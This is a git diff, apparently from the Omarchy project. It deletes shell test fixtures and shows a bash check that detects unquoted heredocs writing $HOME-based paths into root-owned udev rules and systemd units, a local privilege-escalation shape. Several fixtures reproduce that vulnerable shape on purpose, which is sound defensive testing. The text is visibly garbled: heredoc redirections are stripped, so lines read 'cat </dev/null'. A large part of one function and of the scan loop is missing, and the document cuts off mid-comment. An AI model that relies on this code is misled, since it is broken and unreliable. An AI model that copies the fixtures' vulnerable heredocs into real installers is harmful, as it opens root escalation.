a/test/shell.d/fixtures/privileged-heredoc/safe-annotated-reordered-paths.sh b/test/shell.d/fixtures/privileged-heredoc/safe-annotated-reordered-paths.sh deleted file mode 100644 index b003ca58..00000000 --- a/test/shell.d/fixtures/privileged-heredoc/safe-annotated-reordered-paths.sh +++ /dev/null @@ -1,8 +0,0 @@ -storage="$HOME/storage" -shared="$HOME/shared" - -# omarchy:heredoc-expands paths=shared,storage -- both sources are validated before use -cat >/etc/omarchy/mounts.conf </dev/null -servers=$servers -EOF - -# omarchy:heredoc-expands paths=storage -- validated by valid_path and symlink-checked before use -cat </dev/null -source=$storage:/storage -EOF diff --git a/test/shell.d/fixtures/privileged-heredoc/safe-herestring.sh b/test/shell.d/fixtures/privileged-heredoc/safe-herestring.sh deleted file mode 100644 index 41e6355e..00000000 --- a/test/shell.d/fixtures/privileged-heredoc/safe-herestring.sh +++ /dev/null @@ -1,7 +0,0 @@ -resolved="RemoteCommand none" - -grep -qvi '^remotecommand none$' <<<"$resolved" || true - -sudo tee /etc/omarchy/plain.conf >/dev/null <<'EOF' -ok=1 -EOF diff --git a/test/shell.d/fixtures/privileged-heredoc/safe-no-expansion.sh b/test/shell.d/fixtures/privileged-heredoc/safe-no-expansion.sh deleted file mode 100644 index d79fa9e4..00000000 --- a/test/shell.d/fixtures/privileged-heredoc/safe-no-expansion.sh +++ /dev/null @@ -1,3 +0,0 @@ -cat </dev/null -SUBSYSTEM=="power_supply", ATTR{type}=="Mains", RUN+="/usr/bin/omarchy-powerprofiles-set" -EOF diff --git a/test/shell.d/fixtures/privileged-heredoc/safe-quoted-delimiter.sh b/test/shell.d/fixtures/privileged-heredoc/safe-quoted-delimiter.sh deleted file mode 100644 index a62c627a..00000000 --- a/test/shell.d/fixtures/privileged-heredoc/safe-quoted-delimiter.sh +++ /dev/null @@ -1,7 +0,0 @@ -cat <<'EOF' | sudo tee /etc/udev/rules.d/99-omarchy.rules >/dev/null -SUBSYSTEM=="power_supply", RUN+="/usr/bin/omarchy-powerprofiles-set $HOME" -EOF - -cat <<"XML" | sudo tee /etc/omarchy/agent.xml >/dev/null - -XML diff --git a/test/shell.d/fixtures/privileged-heredoc/safe-root-anchored.sh b/test/shell.d/fixtures/privileged-heredoc/safe-root-anchored.sh deleted file mode 100644 index 92c6c076..00000000 --- a/test/shell.d/fixtures/privileged-heredoc/safe-root-anchored.sh +++ /dev/null @@ -1,11 +0,0 @@ -unit=omarchy-agent.service - -# "/etc/systemd/system/$unit" is a path, but one anchored where root already -# owns everything, so paths=none is the truthful declaration -- the check must -# not demand paths=unit here. -# omarchy:heredoc-expands paths=none -- $unit is a unit name interpolated only into absolute /etc paths -cat >"/etc/systemd/system/$unit" </dev/null -[Service] -Environment=TERM=\$TERM -ExecStart=-/usr/bin/agetty --noclear %I \$TERM -EOF diff --git a/test/shell.d/fixtures/privileged-heredoc/safe-user-destination.sh b/test/shell.d/fixtures/privileged-heredoc/safe-user-destination.sh deleted file mode 100644 index 78a47bf7..00000000 --- a/test/shell.d/fixtures/privileged-heredoc/safe-user-destination.sh +++ /dev/null @@ -1,9 +0,0 @@ -mkdir -p ~/.config/omarchy - -cat >~/.config/omarchy/agent.conf <"$HOME/.local/bin/omarchy-shim" </dev/null -[Service] -ExecStart=$target -EOF diff --git a/test/shell.d/fixtures/privileged-heredoc/shutdown-unit-home-execstop.sh b/test/shell.d/fixtures/privileged-heredoc/shutdown-unit-home-execstop.sh deleted file mode 100644 index 54b21414..00000000 --- a/test/shell.d/fixtures/privileged-heredoc/shutdown-unit-home-execstop.sh +++ /dev/null @@ -1,84 +0,0 @@ -#!/bin/bash - -# Install Plymouth package -echo "Installing Plymouth..." -yay -S --noconfirm --needed plymouth - -# Skip if plymouth already exists for some reason -if ! grep -q "plymouth" /etc/mkinitcpio.conf; then - # Backup original mkinitcpio.conf just in case - backup_timestamp=$(date +"%Y%m%d%H%M%S") - sudo cp /etc/mkinitcpio.conf "/etc/mkinitcpio.conf.bak.${backup_timestamp}" - - # Add plymouth to HOOKS array. Should be added: - # - After 'base' and 'udev' (or 'systemd' if using systemd hook) - # - Before 'encrypt' or 'sd-encrypt' if present - - # Use sed to add plymouth in-place - if grep -q "systemd" /etc/mkinitcpio.conf; then - # Add after systemd - sudo sed -i '/^HOOKS=/s/systemd/systemd plymouth/' /etc/mkinitcpio.conf - elif grep -q "udev" /etc/mkinitcpio.conf; then - # Add after udev - sudo sed -i '/^HOOKS=/s/udev/udev plymouth/' /etc/mkinitcpio.conf - else - # Fallback: add after base - sudo sed -i '/^HOOKS=/s/base/base plymouth/' /etc/mkinitcpio.conf - fi -fi - -# Regenerate initramfs -sudo mkinitcpio -P - -# Add kernel parameters for Plymouth (systemd-boot only) -if [ -d "/boot/loader/entries" ]; then - echo "Detected systemd-boot" - - for entry in /boot/loader/entries/*.conf; do - if [ -f "$entry" ]; then - # Skip fallback entries - if [[ "$(basename "$entry")" == *"fallback"* ]]; then - echo "Skipped: $(basename "$entry") (fallback entry)" - continue - fi - - # Skip if splash it already present for some reason - if ! grep -q "splash" "$entry"; then - sudo sed -i '/^options/ s/$/ splash quiet/' "$entry" - else - echo "Skipped: $(basename "$entry") (splash already present)" - fi - fi - done -else - echo "" - echo "systemd-boot not detected. Please manually add these kernel parameters:" - echo " - splash (to see the graphical splash screen)" - echo " - quiet (for silent boot)" - echo "" -fi - -# Touch .plymouth-sync-needed to signal rebuild on shutdown / reboot -touch "$HOME/.config/omarchy/.plymouth-sync-needed" - -# Create the systemd service -sudo tee /etc/systemd/system/omarchy-plymouth-shutdown.service >/dev/null </dev/null - sudo udevadm trigger --subsystem-match=power_supply 2>/dev/null -fi diff --git a/test/shell.d/fixtures/privileged-heredoc/wifi-rule-home-path.sh b/test/shell.d/fixtures/privileged-heredoc/wifi-rule-home-path.sh deleted file mode 100644 index 08b8d49b..00000000 --- a/test/shell.d/fixtures/privileged-heredoc/wifi-rule-home-path.sh +++ /dev/null @@ -1,9 +0,0 @@ -if omarchy-battery-present; then - cat </.local/share/omarchy/bin/..., and ~/.local/share/omarchy is a -# symlink that same user owns. Replacing the symlink and provoking a -# power_supply event gets their code run by udev as root. Quote the delimiter -# and the rule names a literal $HOME instead, which udev never expands, so -# there is nothing to aim at. -# -# The distinction that matters throughout: install-time expansion bakes a -# literal, user-controlled value into a file root later reads or executes -- -# that is the bug. Runtime expansion (an escaped \$VAR left literal in the file -# for a root daemon that does not have the variable set) is a different -# mechanism and is not flagged. install/3-config.sh once used both in one -# heredoc on purpose: $USER expanded at install time because it is a username, -# while \$TERM stayed escaped for systemd to expand later. - -# A file under one of these is owned by root, so its content is a root-level -# input no unprivileged user should be able to influence. -PRIVILEGED_PREFIXES=(/etc /usr /opt /srv /boot /var/lib) - -# Path roots the installing user can replace outright -- by editing the -# directory, or by swapping a symlink like ~/.local/share/omarchy. An expansion -# anchored in one of these is the shape this check exists to catch. -USER_WRITABLE_VARS=(HOME PWD OLDPWD TMPDIR OMARCHY_PATH OMARCHY_INSTALL - XDG_CONFIG_HOME XDG_DATA_HOME XDG_CACHE_HOME XDG_STATE_HOME XDG_RUNTIME_DIR) - -# Commands that carry a heredoc's output to its destination, and the ones that -# do it as root. `tee` counts unelevated too: several bin/ commands re-exec -# themselves as root and then tee straight into /etc. -WRITE_COMMANDS=(tee dd install cp mv) -ELEVATORS=(sudo as_root pkexec doas run0) - -# A dollar the installing user's shell would act on: $name, ${name}, $1, or $(cmd). -# Kept in a variable because an unquoted `(` inside a bracket expression is a -# syntax error in [[ =~ ]]. -EXPANSION_RE='\$[A-Za-z_{(0-9@*#?$!-]' - -# One pattern for every expansion form, shared by masking and name extraction -# so the two stay in lockstep. -EXPANSION_SCAN_RE='^([^$]*)\$(\{[^}]*\}|\([^)]*\)|[A-Za-z_][A-Za-z0-9_]*(\[[^]]*\])?|[0-9@*#?$!-])(.*)$' - -# Stand-in name for a command substitution, which has no variable to report. -COMMAND_SUBSTITUTION="command-substitution" - -# Sites that legitimately need install-time expansion declare it in a comment -# immediately above the heredoc: -# -# # omarchy:heredoc-expands paths=none -- $servers is a validated IP list -# # omarchy:heredoc-expands paths=storage,shared -- checked by valid_path -# -# `paths=` is the machine-checked half, and is what keeps this from being a -# rubber stamp: it must name exactly the expansions that are path-shaped, so -# adding a "$HOME/..." to an already-annotated heredoc makes the declaration -# false and trips the check again instead of inheriting the old exemption. The -# reason after `--` is for the reviewer. -ANNOTATION_RE='^[[:space:]]*#[[:space:]]*omarchy:heredoc-expands[[:space:]]+paths=([A-Za-z_][A-Za-z0-9_-]*(,[A-Za-z_][A-Za-z0-9_-]*)*|none)[[:space:]]+--[[:space:]]+([^[:space:]].*)$' - -FINDINGS=() - -starts_with_privileged_prefix() { - local candidate="$1" prefix - - for prefix in "${PRIVILEGED_PREFIXES[@]}"; do - [[ $candidate == "$prefix"/* ]] && return 0 - done - - return 1 -} - -in_list() { - local needle="$1" item - shift - - for item in "$@"; do - [[ $needle == "$item" ]] && return 0 - done - - return 1 -} - -# Drop escaped dollars, backticks and backslashes so what is left is only what -# the installing user's shell would actually expand. Escaped backslashes go -# first, otherwise "\\$TERM" would read as an escaped dollar. -strip_escapes() { - local text="$1" - - text=${text//\\\\/} - text=${text//\\$/} - text=${text//\\\`/} - - printf '%s' "$text" -} - -# Replace every expansion in TEXT with \001 and list the variable names in -# order: the masked text first, then one name per line. -# -# Masking whole lines rather than whitespace-split words is what makes -# "DNS=${dns_servers//,/ }" readable. Those slashes belong to the substitution -# operator, not to a path, and the space inside the braces would otherwise -# split the expansion across two words and leave a bare "//,/" looking like a -# path. Because both halves come from one pass over one pattern, the Nth \001 -# is the Nth name, so a token can be judged against the right variable. -mask_and_names() { - local text="$1" masked="" body inner tail name guard=0 nested_masked - local -a names=() nested_scan=() nested_names=() - - # Normalize backtick substitution into $( ) so one pattern covers both. - while ((guard++ < 64)) && [[ $text =~ ^([^\`]*)\`([^\`]*)\`(.*)$ ]]; do - body=${BASH_REMATCH[2]//[()]/} - text="${BASH_REMATCH[1]}\$($body)${BASH_REMATCH[3]}" - done - - guard=0 - while ((guard++ < 128)) && [[ $text =~ $EXPANSION_SCAN_RE ]]; do - masked+="${BASH_REMATCH[1]}"$'\001' - body=${BASH_REMATCH[2]} - text=${BASH_REMATCH[4]} - nested_masked="" - nested_names=() - - if [[ $body == \(* ]]; then - name=$COMMAND_SUBSTITUTION - elif [[ $body == \{* ]]; then - inner=${body:1:${#body}-2} - # ${name}, ${name:-default}, ${name//a/b}, ${#name}, ${!name} all start - # with the name once the decorations are stripped. - inner=${inner#[\#!]} - if [[ $inner =~ ^([A-Za-z_][A-Za-z0-9_]*) ]]; then - name=${BASH_REMATCH[1]} - tail=${inner#"$name"} - elif [[ $inner =~ ^[0-9@*#?$!-] ]]; then - name="shell-parameter" - tail=${inner:1} - else - name=$COMMAND_SUBSTITUTION - tail=$inner - fi - - # The shell expands the operator payload too. Keep it as a synthetic - # adjacent token so its placeholders stay aligned with their names while - # the outer expansion remains independently classifiable. Without this, - # ${target:-$HOME/path} is consumed as only `target` and hides HOME. - if [[ $tail =~ $EXPANSION_RE || $tail == *'`'* ]]; then - mapfile -t nested_scan < <(mask_and_names "$tail") - nested_masked=${nested_scan[0]} - nested_names=("${nested_scan[@]:1}") - fi - else - name=${body%%\[*} - [[ $name =~ ^[A-Za-z_] ]] || name="shell-parameter" - fi - - names+=("$name") - if ((${#nested_names[@]} > 0)); then - masked+=" $nested_masked" - names+=("${nested_names[@]}") - fi - done - - printf '%s\n' "$masked$text" - if ((${#names[@]} > 0)); then - printf '%s\n' "${names[@]}" - fi -} - -declare -A VARS=() -declare -A VARS_TAINTED=() - -# Literal assignments in the file under scan, so a destination written as -# "$DROP_IN" or "$COMPOSE_FILE" can be judged as the path it actually is. -# First assignment wins: these scripts set a constant once, and an append like -# boot_params+=(...) is not an assignment this reads at all. -# -# VARS_TAINTED records, separately, any name that is assigned a value naming a -# root the user can replace -- at any point in the file, not just the assignment -# that won. That is what stops a name being introduced with a harmless packaged -# value and then reassigned under $HOME, which judging one assignment in -# isolation would miss in whichever direction it picked. -collect_vars() { - local -n source_lines="$1" - local line name value append - - VARS=() - VARS_TAINTED=() - for line in "${source_lines[@]}"; do - [[ $line =~ ^[[:space:]]*# ]] && continue - [[ $line =~ ^[[:space:]]*(local|declare|export|readonly|typeset)?[[:space:]]*([A-Za-z_][A-Za-z0-9_]*)(\+?)=(.*)$ ]] || continue - - name=${BASH_REMATCH[2]} - append=${BASH_REMATCH[3]} - value=${BASH_REMATCH[4]} - value=${value%%[[:space:]]#*} - value=${value%[[:space:]]} - if [[ $value == \"*\" || $value == \'*\' ]]; then - value=${value:1:${#value}-2} - fi - - mentions_user_writable_root "$value" && VARS_TAINTED["$name"]=1 - - # An append never wins the value -- an array grown across a file resolves to - # nothing useful -- but it does carry the taint, or a name could reach a user - # root through += and never be judged on it. - [[ -n $append ]] && continue - [[ -v VARS[$name] ]] || VARS["$name"]=$value - done -} - -# Expand what can be expanded from the file's own assignments. ${NAME:-default} -# falls back to the default, which is how RUNTIME_DIR reaches -# /var/lib/omarchy/windows; mktemp is unwrapped to the template it is handed, so -# a scratch file inside a privileged directory still reads as privileged. -resolve_value() { - local value="$1" outer=0 inner before name default replacement - - while ((outer++ < 8)); do - before=$value - - inner=0 - while ((inner++ < 32)) && [[ $value =~ \$\{([A-Za-z_][A-Za-z0-9_]*):?-([^}]*)\} ]]; do - name=${BASH_REMATCH[1]} - default=${BASH_REMATCH[2]} - if [[ -v VARS[$name] && ${VARS[$name]} != *"\$$name"* ]]; then - replacement=${VARS[$name]} - else - replacement=$default - fi - value=${value/"${BASH_REMATCH[0]}"/$replacement} - done - - inner=0 - while ((inner++ < 32)) && [[ $value =~ \$\{([A-Za-z_][A-Za-z0-9_]*)\}|\$([A-Za-z_][A-Za-z0-9_]*) ]]; do - name=${BASH_REMATCH[1]} - [[ -n $name ]] || name=${BASH_REMATCH[2]} - [[ -v VARS[$name] && ${VARS[$name]} != *"\$$name"* ]] || break - value=${value/"${BASH_REMATCH[0]}"/${VARS[$name]}} - done - - if [[ $value =~ \$\(mktemp[^\)]*[[:space:]]\"?([^\"\)]+)\"?\) ]]; then - value=${BASH_REMATCH[1]} - fi - - [[ $value == "$before" ]] && break - done - - printf '%s' "$value" -} - -# Strip a leading KEY= and any opening quote so a token's literal head can be -# compared against the privileged prefixes. -literal_head() { - local text="$1" - - [[ $text =~ ^[A-Za-z_][A-Za-z0-9_]*\+?= ]] && text=${text#*=} - text=${text#[\"\']} - - printf '%s' "$text" -} - -# The literal value a name is assigned, when that value is knowable. A value -# read out of a command substitution is not: resolving it would treat the -# slashes in the command itself as a path, which made $autologin_user (an awk -# over /etc/sddm.conf.d) look like a path when it holds a username. -literal_value() { - local name="$1" - - [[ -v VARS[$name] ]] || return 0 - [[ ${VARS[$name]} != *'$('* && ${VARS[$name]} != *'`'* ]] || return 0 - - resolve_value "${VARS[$name]}" -} - -# Does TEXT still reference a root the installing user can replace? Used on a -# value the scan could not fully resolve, where the remaining "$HOME" or -# "${XDG_DATA_HOME}" is the whole reason the value cannot be trusted as a -# root-owned path. A chain through a name this scan never saw assigned resolves -# to neither, and is judged on the rest of the evidence. -mentions_user_writable_root() { - local text="$1" name pattern - - for name in "${USER_WRITABLE_VARS[@]}"; do - # Whole name only. A prefix match would read ${OMARCHY_INSTALL_USER:-}, which - # holds a username, as OMARCHY_INSTALL, which holds a path. - pattern='\$\{?'"$name"'([^A-Za-z0-9_]|$)' - [[ $text =~ $pattern ]] && return 0 - done - - return 1 -} - -# Is this expansion used as a path, and if so, is that path anchored somewhere -# root already owns? MASKED is the containing whitespace token with expansions -# replaced by \001. -# -# Path-shaped means the literal text left around the expansion contains a slash -# ("$HOME/.local/...", "$storage:/storage"), or the variable names a -# user-writable root, or it is assigned a literal value containing a slash. -# Anchored means the literal text *before* the expansion is itself a privileged -# path, as in "/etc/systemd/system/$unit" -- still a path, but one root owns end -# to end. Scoping the anchor test to the containing token is what keeps a udev -# RUN+= line honest: it can name /usr/bin/systemd-run earlier on the same line -# while the $HOME token stands alone. -classify_expansion() { - local masked="$1" name="$2" head literal piece - local path_shape="" - - head=$(literal_head "$masked") - head=${head%%$'\001'*} - literal=$(literal_value "$name") - - [[ $masked == */* ]] && path_shape+="token " - in_list "$name" "${USER_WRITABLE_VARS[@]}" && path_shape+="user-root " - [[ -v VARS_TAINTED[$name] ]] && path_shape+="tainted " - [[ -n $literal && $literal == */* ]] && path_shape+="literal " - - [[ -n $path_shape ]] || return 1 - - # A path expansion anchored under a root-owned prefix cannot introduce a - # user-writable location, so it does not need declaring. - starts_with_privileged_prefix "$head" && return 1 - - # When the token itself is not a path and the shape came only from the - # assigned value, a variable holding root-owned absolute paths is not baking - # anything user-writable in: that is how $fprintd_gate carries - # /usr/bin/omarchy-hw-laptop-closed. This rescue deliberately does not apply - # when the token is a path, so "$storage:/storage" stays flagged. - # - # It also does not apply to a value this scan could not finish resolving whose - # unresolved part reaches a root the user can replace. One hop is all it takes - # to hide the shape: helper="$HOME/.local/share/omarchy/bin/agent" followed by - # ExecStart=$helper puts no slash in the token and no literal path in the value, - # so rescuing it would exempt exactly the write this check exists to catch. A - # value that merely fails to resolve -- a kernel parameter list, an escaped - # password -- is left to the rescue, since nothing in it names a user root. - # A name assigned a user root anywhere in the file is never rescued: the - # assignment that won may be the packaged path it was later reassigned away - # from, and the rescue would then clear it on evidence it no longer holds. - if [[ $path_shape == "literal " ]]; then - for piece in $literal; do - piece=$(literal_head "$piece") - if mentions_user_writable_root "$piece"; then - return 0 - fi - if [[ $piece == /* ]] && ! starts_with_privileged_prefix "$piece"; then - return 0 - fi - done - return 1 - fi - - return 0 -} - -# Destination paths a command line hands a heredoc's output, as written. An -# "\002elevated" marker is emitted when the line runs through sudo and friends. -command_destinations() { - local line="$1" token target elevated=1 copy_like=1 last="" index scan - local -a tokens=() - - # Quotes only get in the way of splitting; the paths inside them do not - # contain spaces anywhere this check runs. - line=${line//\"/ } - line=${line//\'/ } - # `>|` overrides noclobber; the bar belongs to the operator, not to a pipe. - # Left alone it becomes the redirect's target and hides the privileged path - # behind it, so a `cat <| /etc/...` heredoc reports no destination. - line=${line//">|"/">"} - # Preserve append redirects before detaching redirect operators from their - # targets, so ">> /etc/x" does not become two ">" tokens whose first target - # is the second operator. - line=${line//>>/$'\003'} - line=${line//>/ > } - line=${line//$'\003'/" >> "} - - read -r -a tokens <<<"$line" - - index=0 - while ((index < ${#tokens[@]})); do - token=${tokens[index]} - index=$((index + 1)) - - in_list "$token" "${ELEVATORS[@]}" && elevated=0 - - if [[ $token == ">" || $token == ">>" ]]; then - target=${tokens[index]:-} - index=$((index + 1)) - [[ -n $target && $target != "&"* && $target != /dev/* ]] && printf '%s\n' "$target" - continue - fi - - if [[ $token == of=* ]]; then - printf '%s\n' "${token#of=}" - continue - fi - - if in_list "$token" "${WRITE_COMMANDS[@]}"; then - if [[ $token == "tee" ]]; then - # Every non-flag argument to tee is a destination. - scan=$index - while ((scan < ${#tokens[@]})); do - target=${tokens[scan]} - scan=$((scan + 1)) - [[ $target == "|" || $target == "&&" || $target == ";" ]] && break - [[ $target == -* || $target == "<"* || $target == ">" || $target == of=* ]] && continue - [[ $target == /dev/* ]] && continue - printf '%s\n' "$target" - done - elif [[ $token != "dd" ]]; then - # dd destinations are expressed only by of= operands, handled above. - copy_like=0 - fi - continue - fi - - [[ $token != -* && $token != "|" && $token != "<"* && $token != ">" ]] && last=$token - done - - # install/cp/mv put the destination last. - if ((copy_like == 0)) && [[ -n $last ]]; then - printf '%s\n' "$last" - fi - - if ((elevated == 0)); then - printf '%s\n' $'\002elevated' - fi -} - -# Does LINE carry the same resolved value as DEST? Compare resolved tokens rather -# than source spelling so $tmp, ${tmp}, and an alias assigned from either form -# all identify the same scratch file. -line_carries_destination() { - local line="$1" dest="$2" resolved token candidate - local -a tokens=() - - resolved=$(resolve_value "$dest") - line=${line//\"/ } - line=${line//\'/ } - read -r -a tokens <<<"$line" - - for token in "${tokens[@]}"; do - token=${token#[<>]} - token=${token%;} - candidate=$(resolve_value "$token") - [[ $candidate == "$resolved" ]] && return 0 - done - - return 1 -} - -# Does the heredoc on this line reach a root-owned file? Either directly, or in -# one hop: written to a scratch file that a later install/cp/mv carries into a -# privileged directory. -privileged_destination() { - local line="$1" start_index="$2" - local -n scan_lines="$3" - local dest resolved elevated=1 follow hop hop_dest - local -a unresolved=() - - while IFS= read -r dest; do - if [[ $dest == $'\002elevated' ]]; then - elevated=0 - continue - fi - - resolved=$(resolve_value "$dest") - resolved=${resolved#\~} - if starts_with_privileged_prefix "$resolved"; then - printf '%s' "$resolved" - return 0 - fi - - if [[ $resolved == *'$'* ]]; then - unresolved+=("$dest") - fi - - # One hop: a later copy of this same destination into a root-owned path. - # Literal scratch files need tracing just as much as variable destinations. - follow=$start_index - while ((follow < ${#scan_lines[@]})); do - hop=${scan_lines[follow]} - follow=$((follow + 1)) - [[ $hop =~ (^|[[:space:]])(install|cp|mv)([[:space:]]|$) ]] || continue - line_carries_destination "$hop" "$dest" || continue - while IFS= read -r hop_dest; do - [[ $hop_dest == $'\002elevated' ]] && continue - [[ $hop_dest == "$dest" ]] && continue - hop_dest=$(resolve_value "$hop_dest") - if starts_with_privileged_prefix "$hop_dest"; then - printf '%s' "$hop_dest" - return 0 - fi - done < <(command_destinations "$hop") - done - done < <(command_destinations "$line") - - # An elevated write whose destination cannot be resolved counts as privileged: - # sudo tee is not aimed at a user's own dotfile. - if ((elevated == 0)) && ((${#unresolved[@]} > 0)); then - printf '%s' "${unresolved[0]} (unresolved destination of an elevated write)" - return 0 - fi - - return 1 -} - -# A pipeline may put the command consuming a heredoc after its terminator: -# -# cat < closes)) -} - -scan_file() { - local file="$1" display="${2:-$1}" - local -a lines=() - local index lineno line command scan rest raw operator match prefix guard slot delim candidate candidate_delim body_start - local body_text unescaped destination destination_command body_line masked_line token name - local declared_paths annotation look shown_paths shown_plain count next slots terminated - local hd_re='(<<-?)[[:space:]]*("[A-Za-z_][A-Za-z0-9_]*"|'"'"'[A-Za-z_][A-Za-z0-9_]*'"'"'|[A-Za-z_][A-Za-z0-9_]*)' - - mapfile -t lines <"$file" - collect_vars lines - - index=0 - while ((index < ${#lines[@]})); do - line=${lines[index]} - lineno=$((index + 1)) - index=$((index + 1)) - - [[ $line =~ ^[[:space:]]*# ]] && continue - - # A backslash-escaped newline is removed before Bash parses the command, so - # a pipeline consumer can appear on the next physical line before heredoc - # body collection begins: `cat < 0)) || continue - - for slot in "${!delims[@]}"; do - delim=${delims[slot]} - local -a body=() - body_start=$index - terminated=1 - - while ((index < ${#lines[@]})); do - candidate=${lines[index]} - index=$((index + 1)) - candidate_delim=$candidate - if ((strip_tabs[slot] == 1)); then - while [[ $candidate_delim == $'\t'* ]]; do - candidate_delim=${candidate_delim#$'\t'} - done - fi - if [[ $candidate_delim == "$delim" ]]; then - terminated=0 - break - fi - body+=("$candidate") - done - - # A valid shell source cannot contain an unterminated heredoc. If this - # candidate has no terminator it was syntax such as a multi-line arithmetic - # shift that the lightweight matcher could not classify; resume scanning - # below it instead of swallowing the rest of the file. - if ((terminated != 0)); then - index=$body_start - continue - fi - - # A quoted delimiter cannot expand anything. - ((quoted[slot] == 1)) || continue - - printf -v body_text '%s\n' "${body[@]:-}" - unescaped=$(strip_escapes "$body_text") - [[ $unescaped =~ $EXPANSION_RE || $unescaped == *'`'* ]] || continue - - destination_command=$(continued_heredoc_command "$command" "$index" lines) - destination=$(privileged_destination "$destination_command" "$index" lines) || continue - - # Sort the expansions into the ones that bake a path into the file and - # the ones that only interpolate a scalar. - local -a path_expansions=() plain_expansions=() scanned=() names=() - while IFS= read -r body_line; do - mapfile -t scanned < <(mask_and_names "$body_line") - masked_line=${scanned[0]} - names=("${scanned[@]:1}") - next=0 - - for token in $masked_line; do - count=$(count_placeholders "$token") - ((count > 0)) || continue - - for ((slots = 0; slots < count; slots++)); do - name=${names[next]:-} - next=$((next + 1)) - [[ -n $name ]] || continue - - if classify_expansion "$token" "$name"; then - in_list "$name" "${path_expansions[@]:-}" || path_expansions+=("$name") - else - in_list "$name" "${plain_expansions[@]:-}" || plain_expansions+=("$name") - fi - done - done - done <<<"$unescaped" - - declared_paths="" - annotation="" - look=$((lineno - 2)) - while ((look >= 0)) && [[ ${lines[look]} =~ ^[[:space:]]*# ]]; do - if [[ ${lines[look]} =~ $ANNOTATION_RE ]]; then - declared_paths=${BASH_REMATCH[1]} - annotation=${BASH_REMATCH[3]} - fi - look=$((look - 1)) - done - - shown_paths="none" - if ((${#path_expansions[@]} > 0)); then - shown_paths=$( - IFS=, - printf '%s' "${path_expansions[*]}" - ) - fi - shown_plain="none" - if ((${#plain_expansions[@]} > 0)); then - shown_plain=$( - IFS=, - printf '%s' "${plain_expansions[*]}" - ) - fi - - if [[ -z $annotation ]]; then - FINDINGS+=("$display:$lineno: unquoted heredoc <<$delim expands values at install time and its output reaches $destination - path-shaped expansions: $shown_paths - other expansions: $shown_plain - Whatever expands here is baked into a file root owns. If it is a path the - installing user can replace, root later reads or executes attacker-controlled - content -- that is a local privilege escalation. - Fix, in order of preference: - 1. quote the delimiter (<<'$delim') so nothing expands at install time; - 2. hardcode an absolute root-owned path instead of expanding one; - 3. if the expansion is genuinely required, declare it above the heredoc: - # omarchy:heredoc-expands paths= -- - Decide that list yourself. The scan's own reading of it is above, and - where the scan is most likely wrong is exactly here -- a path it could - not follow reads as an ordinary value -- so pasting its verdict back - signs off on the case worth checking by hand.") - continue - fi - - if [[ $(normalize_path_set "$declared_paths") != $(normalize_path_set "$shown_paths") ]]; then - FINDINGS+=("$display:$lineno: heredoc annotation declares paths=$declared_paths but the path-shaped expansions are $shown_paths - Writing to: $destination - Every expansion used as a path outside a root-owned prefix has to be named, - so adding one to an already-annotated heredoc trips this check again instead - of inheriting the old exemption. - Fix: drop the path expansion (hardcode an absolute root-owned path), or name - every path-shaped expansion in the declaration and say why root using it is - safe.") - fi - done - done -} - -# bin/, install/ and migrations/ are where privileged writes live: bin/ holds -# the setup and upgrade commands, install/ runs during install, migrations/ -# during update. default/ is scanned too even though the pattern is not -# reachable there today -- it ships bash functions and completions whose only -# "<<" uses are herestrings, with no privileged writes at all -- because the -# scan is cheap and default/ is sourced into every login shell, so a privileged -# write arriving there later should not arrive unchecked. -shell_sources() { - local file first - - while IFS= read -r -d '' file; do - # Binary files and sources with no heredoc operator have nothing this check - # can classify. Filter them before collect_vars and the line-by-line scan. - grep -Iq '<<' "$file" 2>/dev/null || continue - - case $file in - *.sh | *.hook) - printf '%s\0' "$file" - continue - ;; - esac - - IFS= read -r first <"$file" || true - if [[ $first =~ ^#!.*[[:space:]/](bash|sh)$ ]]; then - printf '%s\0' "$file" - fi - done < <(find "$ROOT/bin" "$ROOT/install" "$ROOT/migrations" "$ROOT/default" \ - -type f -print0 2>/dev/null | sort -z) -} - -require_command find -require_command grep - -sources=() -while IFS= read -r -d '' file; do - sources+=("$file") -done < <(shell_sources) - -((${#sources[@]} > 50)) || fail "the scan reaches the privileged-write scripts" \ - "only ${#sources[@]} shell sources found under bin/, install/, migrations/ and default/" -pass "the scan reaches the privileged-write scripts (${#sources[@]} files)" - -for file in "${sources[@]}"; do - scan_file "$file" "${file#"$ROOT"/}" -done - -if ((${#FINDINGS[@]} > 0)); then - fail "no privileged write embeds an install-time expansion through an unquoted heredoc" \ - "$(printf '%s\n\n' "${FINDINGS[@]}")" -fi -pass "no privileged write embeds an install-time expansion through an unquoted heredoc" - -# --- Non-vacuity ------------------------------------------------------------ -# -# A check that cannot catch the bug it was written for is worthless, so the same -# scanner runs against fixtures: installer shapes taken verbatim from this -# repository's history, the routes other than a pipe into sudo tee, and the -# shapes that must stay quiet. - -FIXTURES="$SHELL_TEST_DIR/fixtures/privileged-heredoc" - -fixture_flags() { - local fixture="$1" description="$2" expected="${3:-}" - - FINDINGS=() - scan_file "$FIXTURES/$fixture" "$fixture" - - ((${#FINDINGS[@]} > 0)) || fail "$description" "$fixture produced no finding" - if [[ -n $expected ]]; then - printf '%s\n' "${FINDINGS[@]}" | grep -qF -- "$expected" || - fail "$description" "expected \"$expected\" in:$(printf '\n%s' "${FINDINGS[@]}")" - fi - pass "$description" -} - -fixture_passes() { - local fixture="$1" description="$2" - - FINDINGS=() - scan_file "$FIXTURES/$fixture" "$fixture" - - ((${#FINDINGS[@]} == 0)) || fail "$description" "$(printf '%s\n' "${FINDINGS[@]}")" - pass "$description" -} - -# Verbatim installer shapes: two udev rules whose RUN+= resolves through a -# user's home, and a systemd unit whose ExecStop did the same. Kept as written -# rather than tidied, so the fixtures stay faithful to the real shape instead of -# a cleaned-up sketch of it. -fixture_flags udev-rule-home-path.sh \ - "flags a power-profile udev rule whose RUN+= resolves under \$HOME" \ - "path-shaped expansions: HOME" -fixture_flags wifi-rule-home-path.sh \ - "flags a wifi-powersave udev rule whose RUN+= resolves under \$HOME" \ - "path-shaped expansions: HOME" -fixture_flags shutdown-unit-home-execstop.sh \ - "flags a shutdown unit with ExecStop=\$HOME/..." \ - "path-shaped expansions: HOME" - -# The exemption must not be a rubber stamp: the same file carrying a -# plausible-looking annotation still fails, because $HOME is path-shaped and -# the declaration does not say so. -fixture_flags annotated-paths-none-still-fails.sh \ - "an annotation claiming paths=none cannot silence a baked \$HOME path" \ - "declares paths=none but the path-shaped expansions are HOME" -fixture_flags annotated-special-parameter-before-home.sh \ - "a shell special parameter cannot hide a later baked \$HOME path" \ - "declares paths=none but the path-shaped expansions are HOME" - -# A path can hide one or more hops away from the heredoc. In each of these the -# token in the body has no slash and the value never resolves to a literal path, -# so an annotation of paths=none looks plausible while the 